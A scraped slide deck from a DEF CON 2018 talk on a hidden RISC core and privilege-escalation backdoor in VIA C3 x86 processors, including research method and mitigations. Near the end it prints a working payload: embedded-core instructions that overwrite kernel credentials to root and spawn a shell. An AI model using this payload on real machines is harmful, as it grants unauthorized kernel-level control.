SlideShare a Scribd company logo
1 of 110
Download to read offline
{
GOD MODE unlocked:
Hardware backdoors in x86 CPUs
domas / @xoreaxeaxeax / DEF CON 2018
Christopher Domas
Cyber Security Researcher
./bio
disclaimer:
The research presented herein was conducted and
completed as an independent consultant. None of
the research presented herein was conducted
under the auspices of my current employer. The
views, information and opinions expressed in this
presentation and its associated research paper are
mine only and do not reflect the views, information
or opinions of my current employer.
It is perilous to study too deeply
the arts of the Enemy,
for good or for ill…
But such falls and betrayals,
alas, have happened before…
(Demo)
In the beginning, there was chaos…
… then 30 years ago,
we were rescued, by the rings of privilege
Ring model
Ring model
0
1
2
3
User Kernel
But we dug deeper…
ring -1 : the hypervisor
ring -2 : system management mode
ring -3 : Q35 / AMT / ME
Ring model
“
The Enemy still lacks one thing
to give him strength and knowledge
to beat down all resistance,
break down the last defenses,
and cover all the lands in a second darkness.
He lacks the One Ring
”
“Additionally, accessing some of the internal control registers
can enable the user to bypass security mechanisms, e.g.,
allowing ring 0 access at ring 3.
In addition, these control registers may reveal information
that the processor designers wish to keep proprietary.
For these reasons, the various x86 processor
manufacturers have not publicly documented any description
of the address or function of some control MSRs”
- US8341419
Patents
VIA C3
point-of-sale
kiosk
ATM
gaming
digital signage
healthcare
digital media
industrial automation
PCs
C3
(Image of test systems)
C3
Thin client
C3 Nehemiah Core
C3
Unable to locate a developer manual
Follow a trail of patent breadcrumbs …
Backdoor architecture
US8880851
US9043580
“FIG. 3 shows an embodiment of a cache memory.
Referring to FIG. 3, in one embodiment, cache
memory 320 is a multi-way cache memory. In one
embodiment, cache memory 320 comprises
multiple physical sections. In one embodiment,
cache memory 320 is logically divided into multiple
sections. In one embodiment, cache
memory 320 includes four cache ways, i.e., cache
way 310, cache way 311, cache way 312, and
cache way 314. In one embodiment, a processor
sequesters one or more cache ways to store or
to execute processor microcode.”
- US Patent 8,296,528
Backdoor architecture
Following patent breadcrumbs
is painful.
Backdoor architecture
Follow the patents…
8,880,851
9,292,470
9,317,301
9,043,580
9,141,389
9,146,742
Backdoor architecture
A non-x86 core embedded
alongside the x86 core in the C3
“Deeply Embedded Core” (DEC)
Shares segments of pipeline with x86 core
RISC architecture
Pipeline diverges after the fetch phase
Partially shared register file
Backdoor architecture
A global configuration register
Exposed to x86 core
through a model-specific-register (MSR)
Activates the RISC core
An x86 launch instruction
A new instruction added to the x86 ISA
Once the RISC core is active
Starts a RISC instruction sequence
Backdoor architecture
If our assumptions about the
deeply embedded core are correct …
… it can be used as a sort of backdoor,
able to surreptitiously circumvent
all processor security checks.
Backdoor architecture
US8341419:
A model-specific-register can be used to
circumvent processor security checks
US8880851:
A model-specific-register can be used to
activate a new instruction in x86
US8880851:
A launch instruction can be used to
switch to a RISC instruction sequence
Enabling the backdoor
Find an MSR bit that …
enables a new x86 instruction …
to activate a RISC core …
and bypass protections?
Enabling the backdoor
64 bit control registers
Extremely varied
Debugging
Performance monitoring
Cache configuration
Feature configuration
Accessed by address, not by name
Addresses range from
0x00000000 – 0xFFFFFFFF
Accessed with
rdmsr and wrmsr instructions
Model-specific-registers
Accessible only to ring 0 code!
Or maybe not. We’ll revisit this later.
Model-specific-registers
“
…the various x86 processor
manufacturers have not publicly
documented any description of the
address or function of some
control MSRs.
”
- US8341419
Model-specific-registers
Model-specific-registers
Undocumented MSRs and MSR bits
Sometimes, genuinely not implemented and
reserved for future use
But common to find undocumented bits that
have observable effects
Step 1:
Which MSRs are
implemented by the processor?
Model-specific-registers
Approach:
Set #GP(0) exception handler
Load MSR address
rdmsr
No fault? MSR exists.
Fault? MSR does not exist.
Model-specific-registers
lidt %[new_idt]
movl %[msr], %%ecx
rdmsr
; MSR exists
_handler:
; MSR does not exist
Results:
1300 MSRs on target processor
Far too many to analyze
Model-specific-registers
Step 2:
Which MSRs are unique?
Model-specific-registers
mov %[_msr], %%ecx
mov %%eax, %%dr0
rdtsc
movl %%eax, %%ebx
rdmsr
rdmsr_handler:
mov %%eax, %%dr0
rdtsc
subl %%ebx, %%eax
Model-specific-registers
A side-channel attack
Calculate the access time
for all 0x100000000 MSRs
Model-specific-registers
Observation:
Functionally different MSRs will have
different access times
The ucode backing each MSR is entirely different
Functionally equivalent MSRs will have
approximately the same access times
The ucode backing each MSR is roughly equivalent
Differentiate between “like” and “unlike” MSRs
“like” MSRs:
adjacent MSRs with equal or
functionally related access time
Model-specific-registers
Hypothesis:
The global configuration register is unique.
It does not have multiple, functionally equivalent versions.
Model-specific-registers
With the timing side-channel,
we identify 43 functionally unique MSRs,
from the 1300 implemented MSRs.
Model-specific-registers
43 MSRs to analyze = 2752 bits to check
Goal: identify which bit activates the launch instruction
Upper bound of ~1.3x1036 x86 instructions
Scan 1,000,000,000 / second
~1.3x1036 / 1010 / 60 / 60 / 24 / 365
= approximately 1 eternity
to scan for a new instruction
2752 bits x 1 eternity per scan = 2752 eternities
Model-specific-registers
sandsifter
Scans the x86 ISA in about a day
Still can’t run 2752 times.
Model-specific-registers
Toggle each of 2752 candidate bits
one by one …
But these are configuration bits –
many will lock, freeze, panic, reset, …
Need automation
Model-specific-registers
Model-specific-registers
Target
Relay
Switch
Master
Hardwire a relay to the target’s power switch
Toggle MSR bits one by one
Use a second computer to watch for panics, locks, etc.
Toggle the relay when something goes wrong
Record which MSR bits can be set
without making the target unstable
Model-specific-registers
~1 week, 100s of automated reboots
Identified which MSR bits can be toggled
without visible side effects
Model-specific-registers
Toggle all stable MSR bits
Run sandsifter to audit the processor
for new instructions
Model-specific-registers
(sandsifter demo)
Model-specific-registers
Exactly one. 0f3f.
The launch instruction
GDB + trial and error:
The launch instruction is effectively a jmp %eax
The launch instruction
With 0f3f identified,
it is no longer necessary to run
complete sandsifter scans
Activate candidate MSR bits one by one,
attempt to execute 0f3f
Find MSR 1107, bit 0 activates the launch instruction
The global configuration register
We suspect this will unlock the processor,
and circumvent all security checks.
We call MSR 1107,
bit 0 the god mode bit.
The god mode bit
With the god mode bit discovered …
And the launch instruction identified …
How do we execute instructions on the RISC core?
The x86 bridge
Approach:
Execute a RISC instruction, and observe its results
US8880851
Patents suggest the pipeline splits
after instructions are fetched
So we set the god mode bit,
executing the launch instruction,
… and … nothing happens.
Processor continues executing x86. No visible change.
The x86 bridge
Trial.
Error.
Misery.
Speculate:
Rather than switching decoders, the
launch instruction may modify functionality
within the x86 decoder
The x86 bridge
opcode modr/m imm32 imm32 imm32 imm32
x86 Decoder
RISC
mode?
RISC Decoder
Pre-decoder
Instruction Cache
No Yes
opcode modr/m imm32 imm32 imm32 imm32 imm32 imm32 imm32 imm32
In this setup, some x86 instruction,
if the processor is in RISC mode,
can pass a portion of itself
onto the RISC processor
Since this instruction joins the two cores,
we call it the bridge instruction
The x86 bridge
How to find the bridge instruction?
Sufficient to detect that a RISC instruction
has been executed
The x86 bridge
If the RISC core really provides
a privilege circumvention mechanism…
then some RISC instruction,
executed in ring 3,
should be able to corrupt the system
Easy to detect:
processor lock, kernel panic, or system reset.
None of these should happen when
executing ring 3 x86 instructions
The x86 bridge
Use sandsifter
Run in random instruction generation mode
Modify to execute the launch instruction
before each x86 instruction
With the right combination of
the x86 wrapper instruction,
and a corrupting RISC instruction …
the processor locks,
the kernel panics,
or the system resets.
The x86 bridge
When this is observed,
the last instruction generated
is the bridge instruction.
~ 1 hour fuzzing
bound %eax,0x00000000(,%eax,1)
The bridge instruction
bound %eax,0x00000000(,%eax,1)
The 32-bit constant in the instruction is
the 32-bit RISC instruction
sent to the deeply embedded core.
The bridge instruction
We know how to execute instructions on the DEC
Now, what do we execute?
i.e. what do these instructions even look like?
What architecture is this?
A deeply embedded instruction set
Assume that the RISC core is
some common architecture
Try executing simple instructions from
ARM, PowerPC, MIPS, etc.
e.g. ADD R0, R0, #1
A deeply embedded instruction set
Challenge:
RISC core likely has register file inaccessible to the x86 core
No obvious way to check the effects of the RISC instruction
Solution:
It is still possible to rule out architectures
Many instructions sent to the DEC cause a processor lock
(One of the few visible effects)
Execute simple, non-locking instructions for each architecture
If processor locks, rule out that architecture
30 different architectures ruled out for the DEC
A deeply embedded instruction set
Dealing with an unknown architecture
Must reverse engineer
the format of the instructions
for the deeply embedded core
A deeply embedded instruction set (DEIS)
A deeply embedded instruction set
Approach:
Execute a RISC instruction, and observe its results
Challenge:
No knowledge of RISC ISA,
cannot observe the results on the RISC core
Solution:
Patents suggest that the RISC core and x86 core
have a partially shared register file
Should be possible to observe some results
of the RISC instruction on the x86 core
A deeply embedded instruction set
Approach:
Execute a RISC instruction, and observe its results
US8880851
Toggle the god mode bit (through LKM)
Generate an input state
Registers (GPRs, SPRs, MMX)
Userland buffer
Kernel buffer (through LKM)
Record the input state
Generate a random RISC instruction
Wrap RISC instruction in the x86 bridge instruction
Execute RISC instruction on the DEC
by preceding it with the launch instruction
Record the output state
Observe any changes between the input and output state
A deeply embedded instruction set
movl %[input_eax], %%eax
movl %[input_ebx], %%ebx
movl %[input_ecx], %%ecx
movl %[input_edx], %%edx
movl %[input_esi], %%esi
movl %[input_edi], %%edi
movl %[input_ebp], %%ebp
movl %[input_esp], %%esp
.byte 0x0f, 0x3f
bound %eax,0xa310075b(,%eax,1)
movl %%eax, %[output_eax]
movl %%ebx, %[output_ebx]
movl %%ecx, %[output_ecx]
movl %%edx, %[output_edx]
movl %%esi, %[output_esi]
movl %%edi, %[output_edi]
movl %%ebp, %[output_ebp]
movl %%esp, %[output_esp]
Load a pre-generated system
state from memory.
Execute the launch insn.,
followed by the x86 bridge,
containing the RISC insn.
Save the new system state for
offline analysis
Assisted fuzzing:
Identifying arithmetic instructions:
Load initial register state with random values
Identifying memory accesses:
Load initial register state with pointers
to either the user land or kernel buffers
A deeply embedded instruction set
Challenge:
Unknown instruction set
Accidentally generate instructions causing
kernel panics, processor locks, system reboots.
~20 random RISC instructions before
unrecoverable corruption
Then necessary to reboot the target
~2 minute reboot
Months of fuzzing to collect enough
data to reverse engineer the DEIS
A deeply embedded instruction set
Target 1
Target 0
Target 2
Target 3
…
RelaySwitch
Master
KVM
(Image)
A deeply embedded instruction set
Solution:
Extend the earlier automated setup
7 target machines, PXE booting from a master
Master assigns fuzzing tasks
to agents running on each target
Lets master coordinate the fuzzing workload
Intelligently task workers with high priority or unexplored
segments of the instruction space
Targets attached to relays, controlled by the master
When the master stops receiving data from a target
Assume crashed, panicked, reset, locked, etc.
Target is forcefully reset through relay
Fuzzing results collected from each target
and aggregated on the master
A deeply embedded instruction set
(Demo)
A deeply embedded instruction set
(Demo 2)
A deeply embedded instruction set
3 weeks
15 gigabytes of logs
2,301,295 state diffs
4000 hours of compute time
A deeply embedded instruction set
Extract patterns from the state diffs
to identify patterns in the instructions
Automation: the collector
A deeply embedded instruction set
collector automatically identifies patterns in state diffs:
word swap
high word copy
low word copy
immediate load
(pre) register to register transfer
(post) register to register transfer
1-, 2-, 4-, 8- byte memory writes
1-, 2-, 4-, 8- byte memory reads
increment by 1, 2, 4, or 8
decrement by 1, 2, 4, or 8
write instruction pointer
1- through 16- bit shifts
relative immediate load
add, subtract, multiply, divide, modulo, xor, binary and, binary or
A deeply embedded instruction set
==== sub, 4 ====
0a1dc726 [ 0000 1010 0001 1101 1100 0111 0010 0110 ]: eax: 0804e289 -> 0804e285
0a3d6720 [ 0000 1010 0011 1101 0110 0111 0010 0000 ]: ecx: 0841fec2 -> 0841febe
0a503e29 [ 0000 1010 0101 0000 0011 1110 0010 1001 ]: edx: 2c9e4a84 -> 2c9e4a80
0a5fb7db [ 0000 1010 0101 1111 1011 0111 1101 1011 ]: edx: 327f8c66 -> 327f8c62
0a7f4460 [ 0000 1010 0111 1111 0100 0100 0110 0000 ]: ebx: b753be82 -> b753be7e
0a90aeb8 [ 0000 1010 1001 0000 1010 1110 1011 1000 ]: esp: 961f6d51 -> 961f6d4d
0ab05498 [ 0000 1010 1011 0000 0101 0100 1001 1000 ]: ebp: 859a7955 -> 859a7951
0abfb48d [ 0000 1010 1011 1111 1011 0100 1000 1101 ]: ebp: d8de0d7b -> d8de0d77
0ad03f09 [ 0000 1010 1101 0000 0011 1111 0000 1001 ]: esi: 0841fec4 -> 0841fec0
0af088c6 [ 0000 1010 1111 0000 1000 1000 1100 0110 ]: edi: 256339e4 -> 256339e0
0affcf92 [ 0000 1010 1111 1111 1100 1111 1001 0010 ]: edi: f4cef2ab -> f4cef2a7
0e1d87be [ 0000 1110 0001 1101 1000 0111 1011 1110 ]: eax: 0804e289 -> 0804e285
0e301f44 [ 0000 1110 0011 0000 0001 1111 0100 0100 ]: ecx: faa1aa22 -> faa1aa1e
0e30753f [ 0000 1110 0011 0000 0111 0101 0011 1111 ]: ecx: 46e4f482 -> 46e4f47e
0e309f8c [ 0000 1110 0011 0000 1001 1111 1000 1100 ]: ecx: 8e9099e9 -> 8e9099e5
0e5ff9f4 [ 0000 1110 0101 1111 1111 1001 1111 0100 ]: edx: b4511f1b -> b4511f17
0e83d850 [ 0000 1110 1000 0011 1101 1000 0101 0000 ]: esp: 3b92e942 -> 3b92e93e
0eb05c9b [ 0000 1110 1011 0000 0101 1100 1001 1011 ]: ebp: 33004709 -> 33004705
0edf3b78 [ 0000 1110 1101 1111 0011 1011 0111 1000 ]: esi: 0841fec4 -> 0841fec0
0effd2ad [ 0000 1110 1111 1111 1101 0010 1010 1101 ]: edi: 989d68db -> 989d68d7
8d2bf748 [ 1000 1101 0010 1011 1111 0111 0100 1000 ]: eax: 0804e289 -> 0804e285
a95053d4 [ 1010 1001 0101 0000 0101 0011 1101 0100 ]: eax: 0804e289 -> 0804e285
df14296d [ 1101 1111 0001 0100 0010 1001 0110 1101 ]: esp: 0841fec7 -> 0841fec3
eb36ae2c [ 1110 1011 0011 0110 1010 1110 0010 1100 ]: esi: 0841fec4 -> 0841fec0
eb71bafc [ 1110 1011 0111 0001 1011 1010 1111 1100 ]: ecx: 0841fec2 -> 0841febe
eb72b0d6 [ 1110 1011 0111 0010 1011 0000 1101 0110 ]: edx: 0841fec3 -> 0841febf
fd77063c [ 1111 1101 0111 0111 0000 0110 0011 1100 ]: edi: 0841fec5 -> 0841fec1
ff7762d4 [ 1111 1111 0111 0111 0110 0010 1101 0100 ]: edi: 0841fec5 -> 0841fec1
A deeply embedded instruction set
Instructions are then binned
based on which diff categories they fell into
A bin is a set of instructions
whose categories are identical
A deeply embedded instruction set
==== bin: memory write // add, 4 ====
e87262cc [ 1110 1000 0111 0010 0110 0010 1100 1100 ]
eab5f409 [ 1110 1010 1011 0101 1111 0100 0000 1001 ]
ebb7b489 [ 1110 1011 1011 0111 1011 0100 1000 1001 ]
f2169a0a [ 1111 0010 0001 0110 1001 1010 0000 1010 ]
f2b7ad29 [ 1111 0010 1011 0111 1010 1101 0010 1001 ]
fa12fea8 [ 1111 1010 0001 0010 1111 1110 1010 1000 ]
fc74182a [ 1111 1100 0111 0100 0001 1000 0010 1010 ]
fc759d01 [ 1111 1100 0111 0101 1001 1101 0000 0001 ]
==== bin: add, 4 ====
0a580eef [ 0000 1010 0101 1000 0000 1110 1110 1111 ]
0a78884e [ 0000 1010 0111 1000 1000 1000 0100 1110 ]
0a99118a [ 0000 1010 1001 1001 0001 0001 1000 1010 ]
0acb6190 [ 0000 1010 1100 1011 0110 0001 1001 0000 ]
0aeb0a40 [ 0000 1010 1110 1011 0000 1010 0100 0000 ]
0e0b979a [ 0000 1110 0000 1011 1001 0111 1001 1010 ]
0e394d65 [ 0000 1110 0011 1001 0100 1101 0110 0101 ]
0e98e966 [ 0000 1110 1001 1000 1110 1001 0110 0110 ]
0eb8fb64 [ 0000 1110 1011 1000 1111 1011 0110 0100 ]
84d09f36 [ 1000 0100 1101 0000 1001 1111 0011 0110 ]
ea16fea8 [ 1110 1010 0001 0110 1111 1110 1010 1000 ]
==== bin: memory write ====
4c328b03 [ 0100 1100 0011 0010 1000 1011 0000 0011 ]
5d36cf83 [ 0101 1101 0011 0110 1100 1111 1000 0011 ]
5df788af [ 0101 1101 1111 0111 1000 1000 1010 1111 ]
9bf3474d [ 1001 1011 1111 0011 0100 0111 0100 1101 ]
9c15aa0a [ 1001 1100 0001 0101 1010 1010 0000 1010 ]
9ed314c8 [ 1001 1110 1101 0011 0001 0100 1100 1000 ]
9ed39488 [ 1001 1110 1101 0011 1001 0100 1000 1000 ]
e297738b [ 1110 0010 1001 0111 0111 0011 1000 1011 ]
e2b3338b [ 1110 0010 1011 0011 0011 0011 1000 1011 ]
e737980b [ 1110 0111 0011 0111 1001 1000 0000 1011 ]
e796780b [ 1110 0111 1001 0110 0111 1000 0000 1011 ]
ec94ee01 [ 1110 1100 1001 0100 1110 1110 0000 0001 ]
ed9458a9 [ 1110 1101 1001 0100 0101 1000 1010 1001 ]
f8b4e96b [ 1111 1000 1011 0100 1110 1001 0110 1011 ]
A deeply embedded instruction set
Binning instructions separates out
different instruction behaviors,
and reveals the bit patterns
behind the instruction encoding
A deeply embedded instruction set
lgd: load base address of gdt into register
mov: copy register contents
izx: load 2 byte immediate, zero extended
isx: load 2 byte immediate, sign extended
ra4: shift eax right by 4
la4: shift eax left by 4
ra8: shift eax right by 8
la8: shift eax left by 8
and: bitwise and of two registers, into eax
or: bitwise or of two registers, into eax
ada: add register to eax
sba: sub register from eax
ld4: load 4 bytes from kernel memory
st4: store 4 bytes into kernel memory
ad4: increment a register by 4
ad2: increment a register by 2
ad1: increment a register by 1
zl3: zero low 3 bytes of register
zl2: zero low 2 bytes of register
zl1: zero low byte of register
cmb: shift low word of source into low word of destination
A deeply embedded instruction set
Once instructions are binned,
encodings can be automatically derived
by analyzing bit patterns within a bin
A deeply embedded instruction set
lgd: [oooooooo....++++........ ]
mov: [oooooooo....++++.++++ ]
izx: [oooooooo....++++++++++++++++++++]
isx: [oooooooo....++++++++++++++++++++]
ra4: [oooo.......................oooo.]
la4: [oooo.......................oo...]
ra8: [oooo........oooo...........oooo.]
la8: [oooo........................oooo]
and: [ooooooo++++.++++............oooo]
or: [ooooooo++++.++++............oooo]
ada: [oooooooo ++++ ooo]
sba: [oooooooo ++++ ooo]
ld4: [oooooooo---.++++.++++...==......]
st4: [oooooooo---.++++.++++...==......]
ad4: [ooooooo++++...== ]
ad2: [ooooooo++++...== ]
ad1: [ooooooo++++...== ]
zl3: [ooooooo. .++++...........]
zl2: [ooooooo. .++++...........]
zl1: [ooooooo. .++++...........]
cmb: [oooooooo....++++.++++...........]
[o] opcode [.] unknown [ ] don't care
[+] register [-] offset [=] length/value
General patterns:
Registers encoded with 4 bits
eax is 0b0000
ebx is 0b0011
ecx is 0b0001
edx is 0b0010
esi is 0b0110
edi is 0b0111
ebp is 0b0101
esp is 0b0100
High bit selects MMX?
Instructions operate on 0, 1, or 2 explicit registers
eax sometimes used as an implicit register
0 to 8 opcode bits at beginning of instruction
Sometimes more later in the encoding
A deeply embedded instruction set
The DEIS assembler
Assembles primitives into their binary representation,
and wraps each in the x86 bridge instruction
Payloads for the RISC core
can now be written in DEIS assembly
A deeply embedded instruction set
The payload
GDT credtask_struct
…
fs
…
…
.cred
…
.uid
.gid
.euid
.egid
0 gdt_base = get_gdt_base();
1 descriptor = *(uint64_t*)(gdt_base+KERNEL_SEG);
2 fs_base=((descriptor&0xff00000000000000ULL)>>32)|
3 ((descriptor&0x000000ff00000000ULL)>>16)|
4 ((descriptor&0x00000000ffff0000ULL)>>16);
5 task_struct = *(uint32_t*)(fs_base+OFFSET_TASK_STRUCT);
6 cred = *(uint32_t*)(task_struct+OFFSET_CRED);
7 root = 0
8 *(uint32_t*)(cred+OFFSET_CRED_VAL_UID) = root;
9 *(uint32_t*)(cred+OFFSET_CRED_VAL_GID) = root;
10 *(uint32_t*)(cred+OFFSET_CRED_VAL_EUID) = root;
11 *(uint32_t*)(cred+OFFSET_CRED_VAL_EGID) = root;
The payload
lgd %eax or %ebx, %eax izx $0x4, %ecx
izx $0x5f20, %ecx ada %ecx
izx $0x78, %edx izx $0xc133, %edx st4 %edx, %eax
ada %edx cmb %ecx, %edx
ada %edx ada %ecx
ad2 %eax ld4 %eax, %eax st4 %edx, %eax
ld4 %eax, %edx
ad2 %eax izx $0x208, %edx ada %ecx
ld4 %eax, %ebx ada %edx ada %ecx
zl3 %ebx ld4 %eax, %eax st4 %edx, %eax
mov %edx, %eax
la8 izx $0, %edx ada %ecx
ra8 st4 %edx, %eax
The payload
/* unlock the backdoor */
__asm__ ("movl $payload, %eax");
__asm__ (".byte 0x0f, 0x3f");
/* modify kernel memory */
__asm__ ("payload:");
__asm__ ("bound %eax,0xa310075b(,%eax,1)");
__asm__ ("bound %eax,0x24120078(,%eax,1)");
__asm__ ("bound %eax,0x80d2c5d0(,%eax,1)");
__asm__ ("bound %eax,0x0a1af97f(,%eax,1)");
__asm__ ("bound %eax,0xc8109489(,%eax,1)");
__asm__ ("bound %eax,0x0a1af97f(,%eax,1)");
__asm__ ("bound %eax,0xc8109c89(,%eax,1)");
__asm__ ("bound %eax,0xc5e998d7(,%eax,1)");
__asm__ ("bound %eax,0xac128751(,%eax,1)");
__asm__ ("bound %eax,0x844475e0(,%eax,1)");
__asm__ ("bound %eax,0x84245de2(,%eax,1)");
__asm__ ("bound %eax,0x8213e5d5(,%eax,1)");
__asm__ ("bound %eax,0x24115f20(,%eax,1)");
__asm__ ("bound %eax,0x2412c133(,%eax,1)");
__asm__ ("bound %eax,0xa2519433(,%eax,1)");
__asm__ ("bound %eax,0x80d2c5d0(,%eax,1)");
__asm__ ("bound %eax,0xc8108489(,%eax,1)");
__asm__ ("bound %eax,0x24120208(,%eax,1)");
__asm__ ("bound %eax,0x80d2c5d0(,%eax,1)");
__asm__ ("bound %eax,0xc8108489(,%eax,1)");
__asm__ ("bound %eax,0x24120000(,%eax,1)");
__asm__ ("bound %eax,0x24110004(,%eax,1)");
__asm__ ("bound %eax,0x80d1c5d0(,%eax,1)");
__asm__ ("bound %eax,0xe01095fd(,%eax,1)");
__asm__ ("bound %eax,0x80d1c5d0(,%eax,1)");
__asm__ ("bound %eax,0xe01095fd(,%eax,1)");
__asm__ ("bound %eax,0x80d1c5d0(,%eax,1)");
__asm__ ("bound %eax,0x80d1c5d0(,%eax,1)");
__asm__ ("bound %eax,0xe0108dfd(,%eax,1)");
__asm__ ("bound %eax,0x80d1c5d0(,%eax,1)");
__asm__ ("bound %eax,0xe0108dfd(,%eax,1)");
/* launch a shell */
system("/bin/bash");
(Demo)
Demo
A secret, co-located core
Unrestricted access to the x86 core’s register file
Shared execution pipeline
But it’s all nebulous this deep
Ring -4 … ?
Direct ring 3 to ring 0
hardware privilege escalation on x86.
This has never been done.
Fortunately we still need initial ring 0 access!
… right?
(Demo)
Demo
Samuel 2 core has the
god mode bit enabled by default.
Any unprivileged code can
escalate to the kernel at any time.
antivirus
address space protections
data execution prevention
code signing
control flow integrity
kernel integrity checks
Protections
Update microcode to
lock down god mode bit
Update microcode to
disable ucode assists on the bridge instruction
Update OS and firmware to disable god mode bit,
and periodically check its status
Mitigations
Releasing today:
A tool to check your system
A tool to protect your system
Mitigations
This is an old processor, not in widespread use
The target market is embedded,
and this is likely a useful feature for customers
Conclusions
Take this as a case study.
Back doors exist …
and we can find them.
Conclusions
Alternative threat scenarios … ?
Doesn’t impact performance
Leverages mechanisms already in place
Virtually impossible to detect
Conclusions
Looking forward
Open sourced
Tools, techniques, code, data
Starting point for future research
project:rosenbridge
project:nightshyft
(Demo)
project:nightshyft
github.com/xoreaxeaxeax
project:rosenbridge
sandsifter
M/o/Vfuscator
REpsych
x86 0-day PoC
Etc.
Feedback? Ideas?
domas
@xoreaxeaxeax
xoreaxeaxeax@gmail.com
GOD MODE Unlocked: Hardware backdoors in x86 CPUs

More Related Content

What's hot

Real-time and high-speed vibrissae monitoring with dynamic vision sensors and...
Real-time and high-speed vibrissae monitoring with dynamic vision sensors and...Real-time and high-speed vibrissae monitoring with dynamic vision sensors and...
Real-time and high-speed vibrissae monitoring with dynamic vision sensors and...Aryan Esfandiari
 
Comparative Analysis of Personal Firewalls
Comparative Analysis of Personal FirewallsComparative Analysis of Personal Firewalls
Comparative Analysis of Personal FirewallsAndrej Šimko
 
An Introduction to Computational Networks and the Computational Network Toolk...
An Introduction to Computational Networks and the Computational Network Toolk...An Introduction to Computational Networks and the Computational Network Toolk...
An Introduction to Computational Networks and the Computational Network Toolk...Willy Marroquin (WillyDevNET)
 
D1 t2 jonathan brossard - breaking virtualization by switching to virtual 8...
D1 t2   jonathan brossard - breaking virtualization by switching to virtual 8...D1 t2   jonathan brossard - breaking virtualization by switching to virtual 8...
D1 t2 jonathan brossard - breaking virtualization by switching to virtual 8...kbour23
 
Www.dedoimedo.com crash-book
Www.dedoimedo.com crash-bookWww.dedoimedo.com crash-book
Www.dedoimedo.com crash-bookSusant Sahani
 
Fibaro advanced users guide
Fibaro advanced users guideFibaro advanced users guide
Fibaro advanced users guideRomAudioVideo
 
Ako využiť (ukradnúť) kolegove CPU cykly
Ako využiť (ukradnúť) kolegove CPU cyklyAko využiť (ukradnúť) kolegove CPU cykly
Ako využiť (ukradnúť) kolegove CPU cyklycloudcampsk
 
スケジューラからみたOSの話
スケジューラからみたOSの話スケジューラからみたOSの話
スケジューラからみたOSの話Takeshi Fujiwara
 
The entropic principle: /dev/u?random and NetBSD by Taylor R Campbell
  The entropic principle: /dev/u?random and NetBSD by Taylor R Campbell  The entropic principle: /dev/u?random and NetBSD by Taylor R Campbell
The entropic principle: /dev/u?random and NetBSD by Taylor R Campbelleurobsdcon
 
MINCS - containers in the shell script (Eng. ver.)
MINCS - containers in the shell script (Eng. ver.)MINCS - containers in the shell script (Eng. ver.)
MINCS - containers in the shell script (Eng. ver.)Masami Hiramatsu
 
Linux: the first second
Linux: the first secondLinux: the first second
Linux: the first secondAlison Chaiken
 
HITBSecConf 2017-Shadow-Box-the Practical and Omnipotent Sandbox
HITBSecConf 2017-Shadow-Box-the Practical and Omnipotent SandboxHITBSecConf 2017-Shadow-Box-the Practical and Omnipotent Sandbox
HITBSecConf 2017-Shadow-Box-the Practical and Omnipotent SandboxSeunghun han
 
BlackHat Asia 2017-Myth and Truth about Hypervisor-Based Kernel Protector
BlackHat Asia 2017-Myth and Truth about Hypervisor-Based Kernel ProtectorBlackHat Asia 2017-Myth and Truth about Hypervisor-Based Kernel Protector
BlackHat Asia 2017-Myth and Truth about Hypervisor-Based Kernel ProtectorSeunghun han
 
Kernel Recipes 2015: Anatomy of an atomic KMS driver
Kernel Recipes 2015: Anatomy of an atomic KMS driverKernel Recipes 2015: Anatomy of an atomic KMS driver
Kernel Recipes 2015: Anatomy of an atomic KMS driverAnne Nicolas
 
HES2011 - Aaron Portnoy and Logan Brown - Black Box Auditing Adobe Shockwave
HES2011 - Aaron Portnoy and Logan Brown - Black Box Auditing Adobe ShockwaveHES2011 - Aaron Portnoy and Logan Brown - Black Box Auditing Adobe Shockwave
HES2011 - Aaron Portnoy and Logan Brown - Black Box Auditing Adobe ShockwaveHackito Ergo Sum
 
HITBSecConf 2016-Create Your Own Bad Usb
HITBSecConf 2016-Create Your Own Bad UsbHITBSecConf 2016-Create Your Own Bad Usb
HITBSecConf 2016-Create Your Own Bad UsbSeunghun han
 
Mtmtipmbprima30 Gb
Mtmtipmbprima30 GbMtmtipmbprima30 Gb
Mtmtipmbprima30 Gbguest136a67
 

What's hot (20)

Real-time and high-speed vibrissae monitoring with dynamic vision sensors and...
Real-time and high-speed vibrissae monitoring with dynamic vision sensors and...Real-time and high-speed vibrissae monitoring with dynamic vision sensors and...
Real-time and high-speed vibrissae monitoring with dynamic vision sensors and...
 
Comparative Analysis of Personal Firewalls
Comparative Analysis of Personal FirewallsComparative Analysis of Personal Firewalls
Comparative Analysis of Personal Firewalls
 
An Introduction to Computational Networks and the Computational Network Toolk...
An Introduction to Computational Networks and the Computational Network Toolk...An Introduction to Computational Networks and the Computational Network Toolk...
An Introduction to Computational Networks and the Computational Network Toolk...
 
IBM Ported Tools for z/OS: OpenSSH User's Guide
IBM Ported Tools for z/OS: OpenSSH User's GuideIBM Ported Tools for z/OS: OpenSSH User's Guide
IBM Ported Tools for z/OS: OpenSSH User's Guide
 
D1 t2 jonathan brossard - breaking virtualization by switching to virtual 8...
D1 t2   jonathan brossard - breaking virtualization by switching to virtual 8...D1 t2   jonathan brossard - breaking virtualization by switching to virtual 8...
D1 t2 jonathan brossard - breaking virtualization by switching to virtual 8...
 
Www.dedoimedo.com crash-book
Www.dedoimedo.com crash-bookWww.dedoimedo.com crash-book
Www.dedoimedo.com crash-book
 
Fibaro advanced users guide
Fibaro advanced users guideFibaro advanced users guide
Fibaro advanced users guide
 
Ako využiť (ukradnúť) kolegove CPU cykly
Ako využiť (ukradnúť) kolegove CPU cyklyAko využiť (ukradnúť) kolegove CPU cykly
Ako využiť (ukradnúť) kolegove CPU cykly
 
スケジューラからみたOSの話
スケジューラからみたOSの話スケジューラからみたOSの話
スケジューラからみたOSの話
 
The entropic principle: /dev/u?random and NetBSD by Taylor R Campbell
  The entropic principle: /dev/u?random and NetBSD by Taylor R Campbell  The entropic principle: /dev/u?random and NetBSD by Taylor R Campbell
The entropic principle: /dev/u?random and NetBSD by Taylor R Campbell
 
MINCS - containers in the shell script (Eng. ver.)
MINCS - containers in the shell script (Eng. ver.)MINCS - containers in the shell script (Eng. ver.)
MINCS - containers in the shell script (Eng. ver.)
 
Linux: the first second
Linux: the first secondLinux: the first second
Linux: the first second
 
HITBSecConf 2017-Shadow-Box-the Practical and Omnipotent Sandbox
HITBSecConf 2017-Shadow-Box-the Practical and Omnipotent SandboxHITBSecConf 2017-Shadow-Box-the Practical and Omnipotent Sandbox
HITBSecConf 2017-Shadow-Box-the Practical and Omnipotent Sandbox
 
BlackHat Asia 2017-Myth and Truth about Hypervisor-Based Kernel Protector
